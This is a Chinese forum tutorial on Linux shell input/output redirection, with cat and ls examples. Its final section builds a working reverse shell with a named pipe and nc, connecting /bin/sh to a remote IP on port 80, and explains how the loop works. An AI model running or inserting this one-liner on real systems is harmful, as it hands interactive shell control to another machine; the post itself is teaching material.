linux shell 之 输入输出重定向

本贴最后更新于 3686 天前,其中的信息可能已经时过境迁

1,标准输出,及错误输出 

标注输出:指令执行所回传的正确信息 标准错误输出:指令执行失败所传回来的信息

 标准输入  (stdin) :代码 0 ,使用 < 或 << ;
 标准输出  (stdout):代码 1 ,使用 > 或 >> ;
 标准错误输出 (stderr):代码 2 ,使用 2> 或 2>> ;

看着很简单明白吧,:-),来看看示例吧

1,标准错误出书

[root@c2y2 /]# cat /test 2>1.txt
[root@c2y2 /]# cat 1.txt 
cat: /test: No such file or directory
[root@c2y2 /]# 
2,标准输出
[root@c2y2 /]# ls -al 1>ls.txt
[root@c2y2 /]# cat ls.txt 
total 15194
dr-xr-xr-x.  25 root root     4096 Mar 24 23:26 .
dr-xr-xr-x.  25 root root     4096 Mar 24 23:26 ..
-rw-r--r--.   1 root root       38 Mar 24 23:24 1.txt
-rw-r--r--.   1 root root        0 Mar 13 00:37 .autofsck
dr-xr-xr-x.   2 root root     4096 Mar 14 03:20 bin
dr-xr-xr-x.   5 root root     1024 Feb 12 21:54 boot
drwx------.   3 root root     4096 Feb 25  2013 .dbus
drwxr-xr-x.  17 root root     3580 Mar 22 22:44 dev
drwxr-xr-x. 118 root root    12288 Mar 22 15:07 etc
drwxr-xr-x.   3 root root     4096 Feb 25 22:03 home
dr-xr-xr-x.  18 root root    12288 Mar 13 14:01 lib
drwx------.   2 root root    16384 Feb 25  2013 lost+found
-rw-r--r--.   1 root root        0 Mar 24 23:26 ls.txt
drwxr-xr-x.   3 root root     4096 Feb 12 08:59 media
drwxr-xr-x.   2 root root     4096 Feb 27  2013 media2
drwxr-xr-x.   2 root root        0 Mar 13 00:37 misc
drwxr-xr-x.   2 root root     4096 Sep 23  2011 mnt
drwxr-xr-x.   2 root root        0 Mar 13 00:37 net
drwxr-xr-x.   5 root root     4096 Feb 19 20:15 opt
dr-xr-xr-x. 123 root root        0 Mar 13 00:31 proc
dr-xr-x---.  21 root root     4096 Mar 24 23:22 root
dr-xr-xr-x.   2 root root    12288 Mar 13 14:01 sbin
drwxr-xr-x.   7 root root        0 Mar 13 00:31 selinux
drwxr-xr-x.   2 root root     4096 Sep 23  2011 srv
drwxr-xr-x.  13 root root        0 Mar 13 00:31 sys
drwxrwxrwt.   6 root root     4096 Mar 24 22:23 tmp
drwxr-xr-x.  14 root root     4096 Feb 22 12:55 usr
drwxr-xr-x.  22 root root     4096 Feb 25  2013 var
[root@c2y2 /]# 

3,标准输入

[root@c2y2 /]# cat > lstest.txt 0< ls.txt
[root@c2y2 /]# cat lstest.txt 
total 15194
dr-xr-xr-x.  25 root root     4096 Mar 24 23:26 .
dr-xr-xr-x.  25 root root     4096 Mar 24 23:26 ..
-rw-r--r--.   1 root root       38 Mar 24 23:24 1.txt
-rw-r--r--.   1 root root        0 Mar 13 00:37 .autofsck
dr-xr-xr-x.   2 root root     4096 Mar 14 03:20 bin
dr-xr-xr-x.   5 root root     1024 Feb 12 21:54 boot
drwx------.   3 root root     4096 Feb 25  2013 .dbus
drwxr-xr-x.  17 root root     3580 Mar 22 22:44 dev
drwxr-xr-x. 118 root root    12288 Mar 22 15:07 etc
drwxr-xr-x.   3 root root     4096 Feb 25 22:03 home
-rw-r--r--.   1 root root 15438448 Feb 25  2013 initramfs-2.6.32-220.el6.i686.img
dr-xr-xr-x.  18 root root    12288 Mar 13 14:01 lib
drwx------.   2 root root    16384 Feb 25  2013 lost+found
-rw-r--r--.   1 root root        0 Mar 24 23:26 ls.txt
drwxr-xr-x.   3 root root     4096 Feb 12 08:59 media
drwxr-xr-x.   2 root root     4096 Feb 27  2013 media2
drwxr-xr-x.   2 root root        0 Mar 13 00:37 misc
drwxr-xr-x.   2 root root     4096 Sep 23  2011 mnt
drwxr-xr-x.   2 root root        0 Mar 13 00:37 net
drwxr-xr-x.   5 root root     4096 Feb 19 20:15 opt
dr-xr-xr-x. 123 root root        0 Mar 13 00:31 proc
dr-xr-x---.  21 root root     4096 Mar 24 23:22 root
dr-xr-xr-x.   2 root root    12288 Mar 13 14:01 sbin
drwxr-xr-x.   7 root root        0 Mar 13 00:31 selinux
drwxr-xr-x.   2 root root     4096 Sep 23  2011 srv
drwxr-xr-x.  13 root root        0 Mar 13 00:31 sys
drwxrwxrwt.   6 root root     4096 Mar 24 22:23 tmp
drwxr-xr-x.  14 root root     4096 Feb 22 12:55 usr
drwxr-xr-x.  22 root root     4096 Feb 25  2013 var
[root@c2y2 /]# 

4,综合标准输入输出合起来,通过nc及管道建立反弹

服务器端:/bin/sh 0</tmp/testpipe |nc 192.168.28.126 80 1>/tmp/testpipe
客户端:nc -lvp 80
:-),这样我们就可以在本地客户端实现shell交互了
命令分解:
服务器端两部曲:
首先创建管道
 mknod /tmp/testpipe p
然后就综合了:
/bin/sh 0</tmp/testpipe |nc 192.168.28.126 80 1>/tmp/testpipe

工作原理:首先将管道 testpipe 内容作为标准输入为 bash 执行,并将结果通过‘|’输入到远端 192.168.28.126,而远端的输入又将重定向输入本地管道 testpipe,而 testpipe 又将作为标注输入到 bash 执行,:-),就这么一个循环,一个交互 shell 就这样 ok 了

管道:

    1,管道命令仅能处理标准的输入输出

    2,管道的输出必须能接受前一个指令的标准输出为标准输入并继续执行

    3,建立管道的方式:mknod xxx p 或者mkfifo xxx

  • Linux

    Linux 是一套免费使用和自由传播的类 Unix 操作系统,是一个基于 POSIX 和 Unix 的多用户、多任务、支持多线程和多 CPU 的操作系统。它能运行主要的 Unix 工具软件、应用程序和网络协议,并支持 32 位和 64 位硬件。Linux 继承了 Unix 以网络为核心的设计思想,是一个性能稳定的多用户网络操作系统。

    915 引用 • 931 回帖
  • Shell

    Shell 脚本与 Windows/Dos 下的批处理相似,也就是用各类命令预先放入到一个文件中,方便一次性执行的一个程序文件,主要是方便管理员进行设置或者管理用的。但是它比 Windows 下的批处理更强大,比用其他编程程序编辑的程序效率更高,因为它使用了 Linux/Unix 下的命令。

    122 引用 • 73 回帖
  • >
    1 引用 • 3 回帖
  • >>
    1 引用 • 3 回帖
  • <
    1 引用 • 3 回帖
  • <<
    1 引用 • 3 回帖
  • 输入
    4 引用 • 32 回帖
  • 输出
    2 引用 • 8 回帖
  • 重定向
    1 引用 • 3 回帖

相关帖子

欢迎来到这里!

我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。

注册 关于
请输入回帖内容 ...
  • 88250

    最后交互的这个例子不错,赞 :-p

  • c2y2
    作者

    @88250 加入了 key 的之后,所有的文章都被同步过来了撒,没选同步也同步了,这个有个开关没得呢。功能很不错哦,但是应该加个开关,不然写了见不得人的也进来了

  • 88250

    @c2y2 有开关的,发布文章的时候可以选择是否同步。

c2y2
用户简介最大长度 255

推荐标签 标签

  • AngularJS

    AngularJS 诞生于 2009 年,由 Misko Hevery 等人创建,后为 Google 所收购。是一款优秀的前端 JS 框架,已经被用于 Google 的多款产品当中。AngularJS 有着诸多特性,最为核心的是:MVC、模块化、自动化双向数据绑定、语义化标签、依赖注入等。2.0 版本后已经改名为 Angular。

    12 引用 • 50 回帖 • 423 关注
  • V2EX

    V2EX 是创意工作者们的社区。这里目前汇聚了超过 400,000 名主要来自互联网行业、游戏行业和媒体行业的创意工作者。V2EX 希望能够成为创意工作者们的生活和事业的一部分。

    17 引用 • 236 回帖 • 418 关注
  • OAuth

    OAuth 协议为用户资源的授权提供了一个安全的、开放而又简易的标准。与以往的授权方式不同之处是 oAuth 的授权不会使第三方触及到用户的帐号信息(如用户名与密码),即第三方无需使用用户的用户名与密码就可以申请获得该用户资源的授权,因此 oAuth 是安全的。oAuth 是 Open Authorization 的简写。

    36 引用 • 103 回帖 • 9 关注
  • JWT

    JWT(JSON Web Token)是一种用于双方之间传递信息的简洁的、安全的表述性声明规范。JWT 作为一个开放的标准(RFC 7519),定义了一种简洁的,自包含的方法用于通信双方之间以 JSON 的形式安全的传递信息。

    20 引用 • 15 回帖 • 20 关注
  • FlowUs

    FlowUs.息流 个人及团队的新一代生产力工具。

    让复杂的信息管理更轻松、自由、充满创意。

    1 引用
  • JVM

    JVM(Java Virtual Machine)Java 虚拟机是一个微型操作系统,有自己的硬件构架体系,还有相应的指令系统。能够识别 Java 独特的 .class 文件(字节码),能够将这些文件中的信息读取出来,使得 Java 程序只需要生成 Java 虚拟机上的字节码后就能在不同操作系统平台上进行运行。

    180 引用 • 120 回帖 • 2 关注
  • 微信

    腾讯公司 2011 年 1 月 21 日推出的一款手机通讯软件。用户可以通过摇一摇、搜索号码、扫描二维码等添加好友和关注公众平台,同时可以将自己看到的精彩内容分享到微信朋友圈。

    129 引用 • 793 回帖
  • JRebel

    JRebel 是一款 Java 虚拟机插件,它使得 Java 程序员能在不进行重部署的情况下,即时看到代码的改变对一个应用程序带来的影响。

    26 引用 • 78 回帖 • 623 关注
  • Vim

    Vim 是类 UNIX 系统文本编辑器 Vi 的加强版本,加入了更多特性来帮助编辑源代码。Vim 的部分增强功能包括文件比较(vimdiff)、语法高亮、全面的帮助系统、本地脚本(Vimscript)和便于选择的可视化模式。

    27 引用 • 66 回帖
  • SOHO

    为成为自由职业者在家办公而努力吧!

    7 引用 • 55 回帖 • 92 关注
  • Log4j

    Log4j 是 Apache 开源的一款使用广泛的 Java 日志组件。

    20 引用 • 18 回帖 • 41 关注
  • 旅游

    希望你我能在旅途中找到人生的下一站。

    85 引用 • 895 回帖 • 1 关注
  • SQLServer

    SQL Server 是由 [微软] 开发和推广的关系数据库管理系统(DBMS),它最初是由 微软、Sybase 和 Ashton-Tate 三家公司共同开发的,并于 1988 年推出了第一个 OS/2 版本。

    19 引用 • 31 回帖 • 2 关注
  • B3log

    B3log 是一个开源组织,名字来源于“Bulletin Board Blog”缩写,目标是将独立博客与论坛结合,形成一种新的网络社区体验,详细请看 B3log 构思。目前 B3log 已经开源了多款产品:SymSoloVditor思源笔记

    1083 引用 • 3461 回帖 • 286 关注
  • Vditor

    Vditor 是一款浏览器端的 Markdown 编辑器,支持所见即所得、即时渲染(类似 Typora)和分屏预览模式。它使用 TypeScript 实现,支持原生 JavaScript、Vue、React 和 Angular。

    313 引用 • 1667 回帖 • 1 关注
  • OnlyOffice
    4 引用 • 23 关注
  • 尊园地产

    昆明尊园房地产经纪有限公司,即:Kunming Zunyuan Property Agency Company Limited(简称“尊园地产”)于 2007 年 6 月开始筹备,2007 年 8 月 18 日正式成立,注册资本 200 万元,公司性质为股份经纪有限公司,主营业务为:代租、代售、代办产权过户、办理银行按揭、担保、抵押、评估等。

    1 引用 • 22 回帖 • 684 关注
  • Scala

    Scala 是一门多范式的编程语言,集成面向对象编程和函数式编程的各种特性。

    13 引用 • 11 回帖 • 108 关注
  • 链书

    链书(Chainbook)是 B3log 开源社区提供的区块链纸质书交易平台,通过 B3T 实现共享激励与价值链。可将你的闲置书籍上架到链书,我们共同构建这个全新的交易平台,让闲置书籍继续发挥它的价值。

    链书社

    链书目前已经下线,也许以后还有计划重制上线。

    14 引用 • 257 回帖 • 2 关注
  • Android

    Android 是一种以 Linux 为基础的开放源码操作系统,主要使用于便携设备。2005 年由 Google 收购注资,并拉拢多家制造商组成开放手机联盟开发改良,逐渐扩展到到平板电脑及其他领域上。

    333 引用 • 323 回帖 • 65 关注
  • sts
    2 引用 • 2 回帖 • 148 关注
  • 爬虫

    网络爬虫(Spider、Crawler),是一种按照一定的规则,自动地抓取万维网信息的程序。

    106 引用 • 275 回帖 • 2 关注
  • RIP

    愿逝者安息!

    8 引用 • 92 回帖 • 290 关注
  • RabbitMQ

    RabbitMQ 是一个开源的 AMQP 实现,服务器端用 Erlang 语言编写,支持多种语言客户端,如:Python、Ruby、.NET、Java、C、PHP、ActionScript 等。用于在分布式系统中存储转发消息,在易用性、扩展性、高可用性等方面表现不俗。

    49 引用 • 60 回帖 • 399 关注
  • golang

    Go 语言是 Google 推出的一种全新的编程语言,可以在不损失应用程序性能的情况下降低代码的复杂性。谷歌首席软件工程师罗布派克(Rob Pike)说:我们之所以开发 Go,是因为过去 10 多年间软件开发的难度令人沮丧。Go 是谷歌 2009 发布的第二款编程语言。

    492 引用 • 1383 回帖 • 375 关注
  • 百度

    百度(Nasdaq:BIDU)是全球最大的中文搜索引擎、最大的中文网站。2000 年 1 月由李彦宏创立于北京中关村,致力于向人们提供“简单,可依赖”的信息获取方式。“百度”二字源于中国宋朝词人辛弃疾的《青玉案·元夕》词句“众里寻他千百度”,象征着百度对中文信息检索技术的执著追求。

    63 引用 • 785 回帖 • 251 关注
  • WebSocket

    WebSocket 是 HTML5 中定义的一种新协议,它实现了浏览器与服务器之间的全双工通信(full-duplex)。

    48 引用 • 206 回帖 • 398 关注